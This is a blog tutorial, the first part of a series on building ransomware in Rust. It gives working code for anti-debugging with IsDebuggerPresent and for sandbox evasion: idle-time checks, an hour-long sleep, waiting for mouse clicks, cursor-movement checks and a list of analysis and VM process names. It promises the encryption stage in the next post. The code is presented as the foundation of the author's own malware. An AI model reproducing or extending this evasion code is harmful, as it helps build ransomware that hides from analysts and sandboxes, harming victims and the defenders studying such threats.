Rust Ransomware | Part 1

Setting up & Implementing Anti-Rerversing techniques in malwares

---

Set up

• To set up this lab, please make sure you have a recent version of Rust installed.
• Create a folder on your computer and change into that directory from your Command Prompt

    cd folder
    cargo init

• You should see a few files and folders created like below

  • The src folder is where you should put your Rust codes in for the malware.
  • The target folder is where you can find the products of your code after building it (The .exe file for the malware,…)
  • Cargo.toml is a file where you can specify the dependencies that your code might need (it’s similar to import in python)

• Before starting, append this to your Cargo.toml file. Inside the features array, we can include the crates that we use from Rust-Winapi. For example, if I want to use Winduser.h on Windows, I can import it as below

    [target.'cfg(windows)'.dependencies]
    winapi = { version = "0.3", features = ["winuser"] }

---

Anti-Reversing techniques

I. IsDebuggerPresent

• IsDebuggerPresent is a cool WinAPI function used to check for the BeingDebugged flag in the PEB (Process Environment Block) and will return a non-zero value if it is indeed being debug.

  • In theory, if this functions returns a non-zero value, the malware should exit immediately instead of executing its behavior to prevent reverse engineers from being able to run it with a debugger attached

  • You can read more about the documentation here

  • This is what the documentation from Rust Winapi looks like

  • If you trace down the type of the returned variable (BOOL), you will find that BOOL is just a wrapper for i32 in Rust!

  • At this point, we’re ready to try it out in main.rs!

  • First, since IsDebuggerPresent is from the winapi::um::debugapi crate, we need to import it in Cargo.toml.

        winapi = { version = "0.3", features = ["debugapi"}
  

  • After that, we can lay it out in main.rs:

        #[cfg(windows)]
        extern crate winapi;
  
        use winapi::um::debugapi::IsDebuggerPresent;
  
        fn main() {
            unsafe {
                match IsDebuggerPresent() {
                    0 => {
                        println!("Debugger is not present... Continue");
                    },
                    _ => {
                        println!("Debugger is present... Terminating. Code {}", IsDebuggerPresent());
                        std::process::exit(0);
                    }
                }
            }
  
            println!("Hello, world!");
            loop {}
        }
  

  • First, we check if IsDebuggerPresent() returns a 0 or any other number. If it’s 0, the program is not being debugged, so we continue to print “Hello, world!”

  • If it’s being debugged, we print the debug code out and call std::process::exit(0) to exit immediately!

  • Here is the result:

    • Double clicking on the executable /target/debug/Rust-Ransomware.exe. As you can see, the program prints out “Hello, world!”

    

    • Debugging this executable in IDA, we can set a break point where we compare eax(the return value from IsDebuggerPresent()). If we execute to this point, you can see that eax = 1, so we will exit immediately!

    

  • There are some ways that reverse engineers can bypass this through dynamic patching or static patching the executable itself, and we can do more things to make our executable anti-patching.

  • Since I’m a bit lazy, I’m not going to attempt this, but maybe we can come back for this another time!

II. Check for sandbox

• There are a variety of sandbox-evasion techniques. I’m just going to list out a few of them for us to try and implement down here.

• If you are interested in more details, I suggest taking a look at this research paper

1. Timing-based techniques

• Idle time: The normal idle time on your PC or mine is typically really really short when we are using them. It’s around 0.047 seconds on my laptop currently. For a sandbox, there won’t be much action happening, and their idle time is typically really long.

  • We can check and see if the idle time is over a minute. If it is, we are probably in a sandbox

          use winapi::um::sysinfoapi::GetTickCount;
          use winapi::um::winuser::{GetLastInputInfo, LASTINPUTINFO};
    
          pub fn check_idle_time() -> bool {
              unsafe {
                  let mut last_input_info: LASTINPUTINFO = LASTINPUTINFO {
                      cbSize: std::mem::size_of::<LASTINPUTINFO>() as u32,
                      dwTime: 0u32,
                  };
                  GetLastInputInfo(&mut last_input_info);
                  let idle_time: u32 = (GetTickCount() - last_input_info.dwTime) / 1000;
                  if idle_time >= 60 {
                      return true;
                  }
                  return false;
              }
          }
    

  • The idle time can be calculated by subtracting the time of the last input event(GetLastInputInfo) from the time since the system was started(GetTickCount).

  • For GetLastInputInfo, it takes in a pointer to a LASTINPUTINFO struct according to MSDN. Therefore, we have to create the struct and put a 0u32 into dwTime field. After calling GetLastInputInfo, the system will write into this u32 the time of the last input event!

  • Try calling this function in main() and you will see that the idle_time is typically 0 or 1 on your system.

• Logic bomb/sleep: By implementing our malware as a logic bomb, we can stall the execution of the malware and have it sleeps.

  • Typically, a sandbox analyzes a malware in around 10-20 minutes, we can just go to sleep for a couple of hours and wake up after the sandbox’s processing time!

  • We also can make our malware execute at a specific date and time in the future, defeating the sandbox by waiting it out!

  • Since this does not need to be too complicated, I just let my malware sleep for an hour before executing anything.

      use winapi::um::synchapi::Sleep;
      pub fn sleep_for_an_hour() {
          unsafe { Sleep(3600000) }
      }
    

2. Detecting user interaction

• Usually, users interact with their computers through mouse clicks and the keyboard, but there is extremly unlikely that there is such human-like interactions in a sandbox.

• We can make our malware wait for a certain user interactions before executing. The Trojan.APT.BaneChan sits and waits for a number of mouse clicks before executing its malicious code. I figure we can use this trick!

    use winapi::um::winuser::{GetAsyncKeyState, VK_RBUTTON};
    pub fn check_mouse_click(min_clicks: u32) {
        let mut count: u32 = 0;
  
        while count < min_clicks {
            let key_left_clicked = unsafe { GetAsyncKeyState(VK_RBUTTON) };
            if key_left_clicked >> 15 == -1 {
                count += 1;
            }
            unsafe { Sleep(100) };
        }
    }
  

• We can also check the position of the mouse. Since a sandbox does not move the mouse cursor around, we can record the original position, wait for 5 seconds, and record it again. If the mouse position matches exactly, it’s highly possible that we are in a sandbox

        use winapi::um::winuser::{GetCursorPos};
        use winapi::shared::windef::POINT;
        pub fn check_cursor_position() -> bool {
            let mut cursor: POINT = POINT { x: 0i32, y: 0i32 };
            unsafe {
                GetCursorPos(&mut cursor);
                let x = cursor.x;
                let y = cursor.y;
                Sleep(5000);
                GetCursorPos(&mut cursor);
  
                if x == cursor.x && y == cursor.y {
                    return false;
                }
            }
  
            true
        }
  

3. Running Processes and Services:

• Usually, a sandbox has multiple antivirus programs, debuggers, monitoring programs running as active processes. Our malware can check for the availability of some of these to determine if it’s being ran in a sandbox

• In my code, I looked up how to numerate all running processes from MSDN and translate their C++ code into Rust.

• Then I extract their names and compare them with a list of executable names that usually exists in sandbox environment.

   pub fn check_process() -> bool {
       let mut a_processes: Vec<u32> = Vec::with_capacity(1024);
       let mut i = 0;
       while i < 1024 {
           a_processes.push(0u32);
           i += 1;
       }
       let mut cb_needed: u32 = 0u32;
       let mut _c_processes: u32 = 0u32;
       if unsafe { EnumProcesses(a_processes.as_ptr() as *mut u32, 1024 * 4, &mut cb_needed) } == 0 {
           return false;
       }
  
        // Calculate how many process identifiers were returned.
       _c_processes = cb_needed / 4;
       let mut current_processes: Vec<String> = Vec::new();
       let mut count = 0;
       while count < _c_processes {
           if a_processes[count as usize] != 0 {
               let process_name = print_process_name_and_id(a_processes[count as usize]);
               if process_name.len() != 0 {
                   current_processes.push(process_name);
               }
           }
           count += 1;
       }
  
       let sandbox_processes = [
           "vmsrvc.exe",
           "tcpview.exe",
           "wireshark.exe",
           "fiddler.exe",
           "vmware.exe",
           "VirtualBox.exe",
           "procexp.exe",
           "autoit.exe",
           "vboxtray.exe",
           "vmtoolsd.exe",
           "vmrawdsk.sys.",
           "vmusbmouse.sys.",
           "df5serv.exe",
           "vboxservice.exe",
       ]
       .to_vec();
  
       let mut found_processes: Vec<&str> = Vec::new();
       for process in current_processes.iter() {
           for sandbox_process in sandbox_processes.iter() {
               if &(process.to_lowercase()) == &(sandbox_process.to_lowercase()) {
                   found_processes.push(sandbox_process);
               }
           }
       }
  
       if found_processes.len() != 0 {
           return false;
       }
  
       true
   }
  
  
   pub fn print_process_name_and_id(processID: u32) -> String {
       unsafe {
           let mut process_name: String = String::new();
           let hProcess: HANDLE =
               OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, processID);
           if hProcess != null_mut() {
               let mut hMod: HMODULE = null_mut();
               let mut cb_needed: u32 = 0u32;
               if EnumProcessModules(
                   hProcess,
                   &mut hMod,
                   std::mem::size_of::<HMODULE>() as u32,
                   &mut cb_needed as *mut _ as *mut u32,
               ) == 0
               {
                   return String::new();
               }
               let mut szProcessName: Vec<u16> = Vec::new();
               let mut count = 0;
               while count < 20 {
                   szProcessName.push(0u16);
                   count += 1;
               }
               GetModuleBaseNameW(hProcess, hMod, szProcessName.as_ptr() as *mut u16, 20);
  
               count = 0;
  
               while szProcessName[count as usize] != 0 {
                   count += 1;
               }
               process_name = String::from_utf16(&szProcessName[..count as usize]).unwrap();
           }
           CloseHandle(hProcess);
           return process_name;
       }
   }
  

---

III. Recap

• We have build the foundation for our malware today! Anti-Reversing is a cool step in malware development since you get to see about the attacker’s perspective to protect their own malware against reverse engineer!

• Feel free to try out the code! You can find it at my Github

• Next post, we will be looking into the ransomware’s encryption!

• Thank you for reading, and see you next time!

Twitter  Facebook  Email